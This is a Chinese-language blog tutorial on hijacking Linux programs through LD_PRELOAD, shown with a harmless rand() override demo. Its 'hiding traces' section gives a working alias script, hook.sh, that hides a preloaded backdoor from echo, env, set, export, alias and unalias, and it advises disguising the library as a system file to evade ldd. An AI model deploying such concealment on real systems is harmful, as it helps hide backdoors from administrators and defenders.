Linux平台使用LD_PRELOAD劫持和注入程序

原创 Linux二进制 2024-05-30 08:20

Linux 平台下,涉及动态链接的程序,在程序启动时,首先运行的是动态链接器(runtime dynamic linker),检查程序所需要的动态库文件并加载到进程的虚拟地址空间,然后才将控制权交给程序入口。

前言

一般来说,程序的链接分为静态链接动态链接静态链接就是把所有所引用到的函数或变量全部地编译到可执行文件中,动态链接则不会把函数编译到可执行文件中,而是在程序运行时动态地载入函数库,也就是运行时链接。

所以,对于动态链接来说,必然需要一个动态链接库。动态链接库的好处在于,一旦动态库中的函数发生变化,对于可执行程序来说是透明的,可执行程序无需重新编译。这对于程序的发布、维护、更新起到了积极的作用。对于静态链接的程序来说,函数库中一个小小的改动需要整个程序的重新编译、发布,对于程序的维护产生了比较大的工作量。

当然,凡事都需要辩证的看,有好就有坏,有得就有失。动态链接 所带来的坏处和其好处一样同样是巨大的。因为程序在运行时动态加载函数,这也就为他人创造了可以影响你的主程序的机会。试想,一旦你的程序动态载入的函数不是你自己写的,而是载入了别人的有企图的代码,通过函数的返回值来控制你的程序的执行流程。那么,你的程序也就被人 劫持 了。

拓展Linux 平台,可执行程序的动态库加载优先级如下:

  1. LD_PRELOAD

  2. LD_LIBRARY_PATH

  3. /etc/ld.so.cache

  4. /lib

  5. /usr/lib。

我们知道 Linux 系统的命令基本都用到了 glibc 库,生成了有一个叫 libc.so.6 的文件,这是几乎所有 Linux 系统下命令的动态链接库,其中有标准 C 的各种函数。对于 GCC 而言,默认情况下,所编译的程序中对标准 C 函数的链接,都是通过动态链接方式来链接 libc.so.6 这个函数库的。

LD_PRELOAD

LD_PRELOAD 是 Linux 系统的一个环境变量,它可以影响程序运行时的链接(Runtime linker)顺序,它允许程序运行时优先加载指定的动态链接库,主要是用来有选择性的载入不同动态链接库中的相同函数,因此,这个机制可以被用来劫持程序。并且由于 全局符号介入机制 的影响,LD_PRELOAD 指定的动态链接库中的函数会覆盖之后其他动态链接库中的同名函数

通过LD_PRELOAD,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),另一方面,我们也可以向别人的程序注入我们的程序,从而达到特定的目的。

本文记录了如何通过 LD_PRELOAD 环境变量来 hook 程序,达到植入后门和调试的目的。

拓展:全局符号介入

全局符号介入指的是程序调用动态库中的函数时,如果调用的函数在多个动态库中都存在,那么链接器只会保留第一个链接的动态库中的函数,忽略之后同名的函数,所以只要预加载的全局符号中有和后加载的普通共享库中全局符号重名,那么就会覆盖后装载的共享库以及目标文件里的全局符号。

动态链接库 Hook

由于 LD_PRELOAD 可以在程序运行前指定优先加载的动态链接库,因此,我们可以重写程序运行过程中所调用的函数并编译成动态链接库文件,然后通过 LD_PRELOAD 让程序优先加载这个"恶意"的动态链接库,最后,当程序再次运行时便会加载动态链接库中的“恶意”函数。具体的操作步骤如下:

  1. 定义与目标函数完全一样的函数,包括名称、变量及类型、返回值及类型等。
  2. 将包含替换函数的源码编译为动态链接库。
  3. 通过命令 export LD_PRELOAD="库文件路径",设置要优先替换的动态链接库即可。
  4. 替换结束,要还原函数调用关系,用命令unset LD_PRELOAD 解除。

注意:第 3 步有如下两种方式可选,使用哪种方式均可。

# 指定的链接库只对紧接在后面的程序生效$ LD_PRELOAD=$PWD/hook.so ./executable
# 定义环境变量则对后续命令都生效$ export LD_PRELOAD=$PWD/hook.so

下面我们通过一个简单的实例进行演示:

/*  random_num.c */#include #include #include 
int main() { srand(time(NULL)); int i = 10; while(i--) printf("%d\n", rand()%100); return 0;}

我不使用任何参数来编译它,如下所示:

gcc random_num.c -o random_num

我希望它输出的结果是明确的:从 0-99 中选择的十个随机数字,希望每次你运行这个程序时它的输出都不相同。

[root@localhost rand]# ./random_num57814089841367803145

默认情况下,gcc 编译采用动态链接,rand() 这个标准 C 库接口来自 libc.so.6

现在,让我们假装真的不知道这个可执行程序的出处。甚至将它的源文件删除,或者把它移动到别的地方 —— 我们已不再需要它了。我们将对这个程序的行为进行重大的修改,而你并不需要接触到它的源代码,也不需要重新编译它。

因此,让我们来创建另外一个简单的 C 文件 hook.c

int rand() {    // the most random number in the universe    return 10;}

我们将它编译进一个共享库中:

gcc -shared -fPIC hook.c -o hook.so

编译生成我自己定义的动态链接库 hook.so,并通过 LD_PRELOAD 设置替换成我刚编译的动态链接库 hook.so

现在我们已经有了一个可以输出一些随机数的应用程序,和一个定制的动态库,它使用一个常数值 10 实现了一个 rand() 函数。现在让我们就像运行 random_num 一样,然后再观察结果:

[root@localhost rand]# LD_PRELOAD=$PWD/hook.so ./random_num10101010101010101010

如果你想偷懒或者不想自动亲自动手(或者不知什么原因猜不出发生了什么),我来告诉你 —— 它输出了十次常数 10

如果先这样执行:

export LD_PRELOAD=$PWD/hook.so

然后再以正常方式运行这个程序,这个结果也许会更让你吃惊:一个未被改变过的应用程序在一个正常的运行方式中,结果就轻易的被我们篡改了……

[root@localhost rand]# export LD_PRELOAD=$PWD/hook.so[root@localhost rand]# ./random_num10101010101010101010

当我们的程序启动后,为程序提供所需要的函数的某些库被加载。我们可以使用 ldd 去学习它是怎么工作的:

[root@localhost rand]# ldd random_num        linux-vdso.so.1 (0x00007fffa2df3000)        libc.so.6 => /lib64/libc.so.6 (0x00007fed34c21000)        /lib64/ld-linux-x86-64.so.2 (0x00007fed34fe6000)

它列出了被程序 random_num 所需要的库的列表。这个列表是构建进可执行程序中的,并且它是在编译时决定的。在你的机器上的具体的输出可能与示例有所不同,但是,一个 libc.so 肯定是有的 —— 这个文件提供了核心的 C 函数。它包含了 “真正的” rand()

我使用下列的命令可以得到一个全部的函数列表,我们看一看 libc 提供了哪些函数:

nm -D /lib/libc.so.6

这个 nm 命令列出了在一个二进制文件中找到的符号。-D 标志告诉它去查找动态符号,因为 libc.so.6 是一个动态库。这个输出是很长的,但它确实在列出的很多标准函数中包括了 rand()

[root@localhost rand]# nm -D /lib/libc.so.6 | grep -w rand000365e0 T rand

现在,在我们设置了环境变量 LD_PRELOAD 后发生了什么?这个变量为一个程序强制加载一些动态库。在我们的案例中,它为 random_num 加载了 hook.so,尽管程序本身并没有这样去要求它。下列的命令可以看得出来:

[root@localhost rand]# LD_PRELOAD=$PWD/hook.so ldd random_num        linux-vdso.so.1 (0x00007fffbcad0000)        /tmp/rand/hook.so (0x00007fc662acc000)        libc.so.6 => /lib64/libc.so.6 (0x00007fc662707000)        /lib64/ld-linux-x86-64.so.2 (0x00007fc662cce000)

或者通过如下命令也可:

[root@localhost rand]# export LD_PRELOAD=$PWD/hook.so[root@localhost rand]# ldd random_num        linux-vdso.so.1 (0x00007ffd857af000)        /tmp/rand/hook.so (0x00007fbcf4327000)        libc.so.6 => /lib64/libc.so.6 (0x00007fbcf3f62000)        /lib64/ld-linux-x86-64.so.2 (0x00007fbcf4529000)

注意,它列出了我们当前的库。实际上这就是代码为什么得以运行的原因:random_num 调用了 rand(),但是,如果 hook.so 被加载,它调用的是我们自定义动态库中所提供的rand() 函数。

至此,我们通过LD_PRELOAD劫持和注入程序的方法就成功了。但是,只讲到这里大家有没有发现一个问题,如果只操作到这里,那么就很容易被人发现我们植入的后门。有没有什么办法能避免轻易本人发现并识别出来呢,接下来让我们一起学习下。

隐藏痕迹

如果检查环境变量 LD_PRELOAD 是否有值,就可以捕捉到蛛丝马迹

[root@localhost rand]# echo $LD_PRELOAD
[root@localhost rand]# export LD_PRELOAD=$PWD/hook.so[root@localhost rand]# echo $LD_PRELOAD/tmp/rand/hook.so

有检查的手段,就有对抗检查的手段。隐藏痕迹的思路就是利用 alias 命令给能够查看环境变量的命令都定义一个别名,在输出环境变量时做一个过滤,如果检查到输出内容有自定义的动态库名称时就输出空格字符或者不输出之类的。

隐藏echo

使用 alias 命令将 echo 定义别名

alias echo='func(){ echo $* | sed "s!/tmp/rand/hook.so! !g";};func'

首先查看环境变量 LD_PRELOAD 是没有值的,用 export 进行设置后,echo 就能看到 $LD_PRELOAD 的值了,接着用 alias 将 echo 定义别名,使得 echo 命令输出的字符串如果包含 /tmp/rand/hook.so 就给替换为空格,实验效果如下:

[root@localhost rand]# alias echo='func(){ echo $* | sed "s!/tmp/rand/hook.so! !g";};func'[root@localhost rand]# echo $LD_PRELOAD
[root@localhost rand]#

原理】:首先定义一个 func 函数,最后执行 func 函数中的内容;echo $* 会输出 echo 命令传进来的所有参数;sed 是一个非交互性文本流编辑器,s 参数表示替换,! 作为定界符(正常的分隔符是用 / ,但是避免路径中 / 的干扰,这里选择用 ! 作为定界符),g 表示全局替换。

隐藏env

env 输出环境变量时,如果 LD_PRELOAD 的值并不存在,则不会输出关于这个变量的任何信息,如果给 LD_PRELOAD 设置值之后,就能查看到一行关于这个变量的信息(如下)

[root@localhost rand]# envCONDA_SHLVL=0...HISTSIZE=1000LD_PRELOAD=/tmp/rand/hook.soLESSOPEN=||/usr/bin/lesspipe.sh %s_=/usr/bin/env

这里采用的思路是用 grep -v 来过滤掉,grep -v 指的是反转匹配。因此使用如下命令,将 env 定义别名,将除去字符串 /tmp/rand/hook.so 的内容都输出

alias env='func(){ env $* | grep -v "/tmp/rand/hook.so";};func'

观察下图能发现,最初 env 命令是成功输出了 LD_PRELOAD 环境变量的,但定义 env 别名后,再出执行 env 就已经看不到 LD_PRELOAD 环境变量了。

[root@localhost rand]# envCONDA_SHLVL=0...HISTSIZE=1000LESSOPEN=||/usr/bin/lesspipe.sh %s_=/usr/bin/env

隐藏set

隐藏 set 命令输出的环境变量和 env 同理。

alias set='func(){ set $* | grep -v "/tmp/rand/hook.so";};func'

执行结果如下:

[root@localhost rand]# set | grep LDLD_PRELOAD=/tmp/rand/hook.soOLDPWD=/root                OLD_IFS="$IFS";                IFS="$OLD_IFS";[root@localhost rand]# alias set='func(){ set $* | grep -v "/tmp/rand/hook.so";};func'[root@localhost rand]# set | grep LDOLDPWD=/root                OLD_IFS="$IFS";                IFS="$OLD_IFS";

隐藏export

export 命令的隐藏也是同理。

alias export='func(){ export $* | grep -v "/tmp/rand/hook.so";};func'

执行结果如下:

[root@localhost rand]# export | grep LDdeclare -x LD_PRELOAD="/tmp/rand/hook.so"declare -x OLDPWD="/root"[root@localhost rand]# alias export='func(){ export $* | grep -v "/tmp/rand/hook.so";};func'[root@localhost rand]# export | grep LDdeclare -x OLDPWD="/root"

隐藏unalias

接下来是对 alias 和 unalias 命令进行处理。

用 alias 可以查询到对 env 命令做了别名定义,对其使用 unalias 命令删除是可以成功的,如果没有别名的话,用 unalias 删除时应该是报错 -bash: unalias: xx: not found(实验机器为 CentOS Stream release 8,不同版本的机器上这个错误信息可能不一样)。

[root@localhost rand]# alias | grep envalias env='func(){ env $* | grep -v "/tmp/rand/hook.so";};func'[root@localhost rand]# unalias env[root@localhost rand]# unalias env-bash: unalias: env: not found

然后对 unalias 命令进行一下别名定义,希望在识别到参数为 env echo  export alias unalias 的时候都输出报错 -bash: unalias: xx: not found ,这样就造成了一种这些命令并没有被别名的假象。

shell 脚本如下,代码很容易理解,就是用了两个 if 语句确保 unalias 造成一种假象

alias unalias='func() {  if [ $# != 0 ]; then    if [ $* != "echo" ] && [ $* != "env" ] && [ $* != "set" ] && [ $* != "export" ] && [ $* != "alias" ] && [ $* != "unalias" ]; then      unalias $*    else      echo "-bash: unalias: ${*}: not found"    fi  else    echo "unalias: not enough arguments"  fi}; func'

执行 alias 命令如下,对 unalias 定义别名

alias unalias='func() { if [ $# -ne 0 ]; then if [[ $* != "echo" && $* != "env" && $* != "set" && $* != "export" && $* != "alias" && $* != "unalias" ]]; then unalias $*; else echo "-bash: unalias: ${*}: not found"; fi; else echo "unalias: not enough arguments"; fi }; func'

隐藏alias

如果用 alias 命令查看哪些函数定义别名的话,依然是个破绽,因此最后对 alias 做一个别名,伪造的方法和隐藏 export set 的输出一样,将输出有动态库名称的命令都给过滤掉,并且要额外过滤一下 unalias (避免被看出来 unalias 命令做过手脚)

alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'

汇总上面的命令,编写 shell 脚本 hook.sh 如下:

export LD_PRELOAD=$PWD/hook.so alias echo='func(){ echo $* | sed "s!/tmp/rand/hook.so! !g";};func' alias env='func(){ env $* | grep -v "/tmp/rand/hook.so";};func' alias set='func(){ set $* | grep -v "/tmp/rand/hook.so";};func' alias export='func(){ export $* | grep -v "/tmp/rand/hook.so";};func' alias unalias='func() { if [ $# -ne 0 ]; then if [[ $* != "echo" && $* != "env" && $* != "set" && $* != "export" && $* != "alias" && $* != "unalias" ]]; then unalias $*; else echo "-bash: unalias: ${*}: not found"; fi; else echo "unalias: not enough arguments"; fi }; func' alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'

将其执行后,调用 random_num 可以看到下图中已经触发了自定义的 hook 动态库,并且用各种方法检查环境变量 LD_PRELOAD 发现一切正常,如下所示:

[root@localhost rand]# source hook.sh[root@localhost rand]# ./random_num10101010101010101010[root@localhost rand]# env | grep LD_PRELOAD[root@localhost rand]# export | grep LD_PRELOAD[root@localhost rand]# set | grep LD_PRELOAD[root@localhost rand]# echo $LD_PRELOAD
[root@localhost rand]#

可能有的人会说,你隐藏了那么多,但是 ldd 一下不还是会露馅么,不信你看:

  [root@localhost rand]# ldd random_num        linux-vdso.so.1 (0x00007ffd857af000)        /tmp/rand/hook.so (0x00007fbcf4327000)        libc.so.6 => /lib64/libc.so.6 (0x00007fbcf3f62000)        /lib64/ld-linux-x86-64.so.2 (0x00007fbcf4529000)

确实,ldd 会显示链接的动态库,如果你像 /tmp/rand/hook.so 这样命名路径和动态库,可能的确会轻易的被发现,但是我们可以伪装成一个系统库,就不容易被发现了,如下:

[root@localhost rand]# gcc -shared -fPIC hook.c -o /lib64/libcx.so[root@localhost rand]# export LD_PRELOAD=/lib64/libcx.so[root@localhost rand]# ldd random_num        linux-vdso.so.1 (0x00007ffd0ebc8000)        /lib64/libcx.so (0x00007f63b2e38000)        libc.so.6 => /lib64/libc.so.6 (0x00007f63b2a73000)        /lib64/ld-linux-x86-64.so.2 (0x00007f63b303a000)

如果你不仔细研究,是不是就不会发现异常,这样就基本可以蒙混过关了。

至此,使用 LD_PRELOAD 劫持和注入程序就全部介绍完了。

特此说明:本文只作为参考学习使用,请勿用作其它非法用途。


Linux二进制 Linux编程、内核模块、网络原创文章分享,欢迎关注"Linux二进制"微信公众号
评论
  • 概述 说明(三)探讨的是比较器一般带有滞回(Hysteresis)功能,为了解决输入信号转换速率不够的问题。前文还提到,即便使能滞回(Hysteresis)功能,还是无法解决SiPM读出测试系统需要解决的问题。本文在说明(三)的基础上,继续探讨为SiPM读出测试系统寻求合适的模拟脉冲检出方案。前四代SiPM使用的高速比较器指标缺陷 由于前端模拟信号属于典型的指数脉冲,所以下降沿转换速率(Slew Rate)过慢,导致比较器检出出现不必要的问题。尽管比较器可以使能滞回(Hysteresis)模块功
    coyoo 2024-12-03 12:20 108浏览
  • 最近几年,新能源汽车愈发受到消费者的青睐,其销量也是一路走高。据中汽协公布的数据显示,2024年10月,新能源汽车产销分别完成146.3万辆和143万辆,同比分别增长48%和49.6%。而结合各家新能源车企所公布的销量数据来看,比亚迪再度夺得了销冠宝座,其10月新能源汽车销量达到了502657辆,同比增长66.53%。众所周知,比亚迪是新能源汽车领域的重要参与者,其一举一动向来为外界所关注。日前,比亚迪汽车旗下品牌方程豹汽车推出了新车方程豹豹8,该款车型一上市就迅速吸引了消费者的目光,成为SUV
    刘旷 2024-12-02 09:32 119浏览
  • 当前,智能汽车产业迎来重大变局,随着人工智能、5G、大数据等新一代信息技术的迅猛发展,智能网联汽车正呈现强劲发展势头。11月26日,在2024紫光展锐全球合作伙伴大会汽车电子生态论坛上,紫光展锐与上汽海外出行联合发布搭载紫光展锐A7870的上汽海外MG量产车型,并发布A7710系列UWB数字钥匙解决方案平台,可应用于数字钥匙、活体检测、脚踢雷达、自动泊车等多种智能汽车场景。 联合发布量产车型,推动汽车智能化出海紫光展锐与上汽海外出行达成战略合作,联合发布搭载紫光展锐A7870的量产车型
    紫光展锐 2024-12-03 11:38 101浏览
  • 遇到部分串口工具不支持1500000波特率,这时候就需要进行修改,本文以触觉智能RK3562开发板修改系统波特率为115200为例,介绍瑞芯微方案主板Linux修改系统串口波特率教程。温馨提示:瑞芯微方案主板/开发板串口波特率只支持115200或1500000。修改Loader打印波特率查看对应芯片的MINIALL.ini确定要修改的bin文件#查看对应芯片的MINIALL.ini cat rkbin/RKBOOT/RK3562MINIALL.ini修改uart baudrate参数修改以下目
    Industio_触觉智能 2024-12-03 11:28 84浏览
  •         温度传感器的精度受哪些因素影响,要先看所用的温度传感器输出哪种信号,不同信号输出的温度传感器影响精度的因素也不同。        现在常用的温度传感器输出信号有以下几种:电阻信号、电流信号、电压信号、数字信号等。以输出电阻信号的温度传感器为例,还细分为正温度系数温度传感器和负温度系数温度传感器,常用的铂电阻PT100/1000温度传感器就是正温度系数,就是说随着温度的升高,输出的电阻值会增大。对于输出
    锦正茂科技 2024-12-03 11:50 106浏览
  • 戴上XR眼镜去“追龙”是种什么体验?2024年11月30日,由上海自然博物馆(上海科技馆分馆)与三湘印象联合出品、三湘印象旗下观印象艺术发展有限公司(下简称“观印象”)承制的《又见恐龙》XR嘉年华在上海自然博物馆重磅开幕。该体验项目将于12月1日正式对公众开放,持续至2025年3月30日。双向奔赴,恐龙IP撞上元宇宙不久前,上海市经济和信息化委员会等部门联合印发了《上海市超高清视听产业发展行动方案》,特别提到“支持博物馆、主题乐园等场所推动超高清视听技术应用,丰富线下文旅消费体验”。作为上海自然
    电子与消费 2024-11-30 22:03 98浏览
  • TOF多区传感器: ND06   ND06是一款微型多区高集成度ToF测距传感器,其支持24个区域(6 x 4)同步测距,测距范围远达5m,具有测距范围广、精度高、测距稳定等特点。适用于投影仪的无感自动对焦和梯形校正、AIoT、手势识别、智能面板和智能灯具等多种场景。                 如果用ND06进行手势识别,只需要经过三个步骤: 第一步&
    esad0 2024-12-04 11:20 50浏览
  • 光伏逆变器是一种高效的能量转换设备,它能够将光伏太阳能板(PV)产生的不稳定的直流电压转换成与市电频率同步的交流电。这种转换后的电能不仅可以回馈至商用输电网络,还能供独立电网系统使用。光伏逆变器在商业光伏储能电站和家庭独立储能系统等应用领域中得到了广泛的应用。光耦合器,以其高速信号传输、出色的共模抑制比以及单向信号传输和光电隔离的特性,在光伏逆变器中扮演着至关重要的角色。它确保了系统的安全隔离、干扰的有效隔离以及通信信号的精准传输。光耦合器的使用不仅提高了系统的稳定性和安全性,而且由于其低功耗的
    晶台光耦 2024-12-02 10:40 120浏览
  • RDDI-DAP错误通常与调试接口相关,特别是在使用CMSIS-DAP协议进行嵌入式系统开发时。以下是一些可能的原因和解决方法: 1. 硬件连接问题:     检查调试器(如ST-Link)与目标板之间的连接是否牢固。     确保所有必要的引脚都已正确连接,没有松动或短路。 2. 电源问题:     确保目标板和调试器都有足够的电源供应。     检查电源电压是否符合目标板的规格要求。 3. 固件问题: &n
    丙丁先生 2024-12-01 17:37 100浏览
  • 作为优秀工程师的你,已身经百战、阅板无数!请先醒醒,新的项目来了,这是一个既要、又要、还要的产品需求,ARM核心板中一个处理器怎么能实现这么丰富的外围接口?踌躇之际,你偶阅此文。于是,“潘多拉”的魔盒打开了!没错,USB资源就是你打开新世界得钥匙,它能做哪些扩展呢?1.1  USB扩网口通用ARM处理器大多带两路网口,如果项目中有多路网路接口的需求,一般会选择在主板外部加交换机/路由器。当然,出于成本考虑,也可以将Switch芯片集成到ARM核心板或底板上,如KSZ9897、
    万象奥科 2024-12-03 10:24 68浏览
  • 11-29学习笔记11-29学习笔记习学习笔记&记录学习学习笔记&记录学习学习笔记&记录学习学习笔记&记录学习笔记&记录学习习笔记&记学习学习笔记&记录学习学习笔记&记录学习习笔记&记录学习学习笔记&记录学习学习笔记记录学习学习笔记&记录学习学习笔记&记录学习学习笔记&记录学习学习笔记&记录学习学习笔记&记录学习习笔记&记录学习学习笔记&记录学习学习笔记&记录学习学习笔记&记录学习学习笔记&记录学习学习笔记&记录学习学习笔记&记录学习学习笔记&学习学习笔记&记录学习学习笔记&记录学习学习笔记&记
    youyeye 2024-12-02 23:58 71浏览
我要评论
0
点击右上角,分享到朋友圈 我知道啦
请使用浏览器分享功能 我知道啦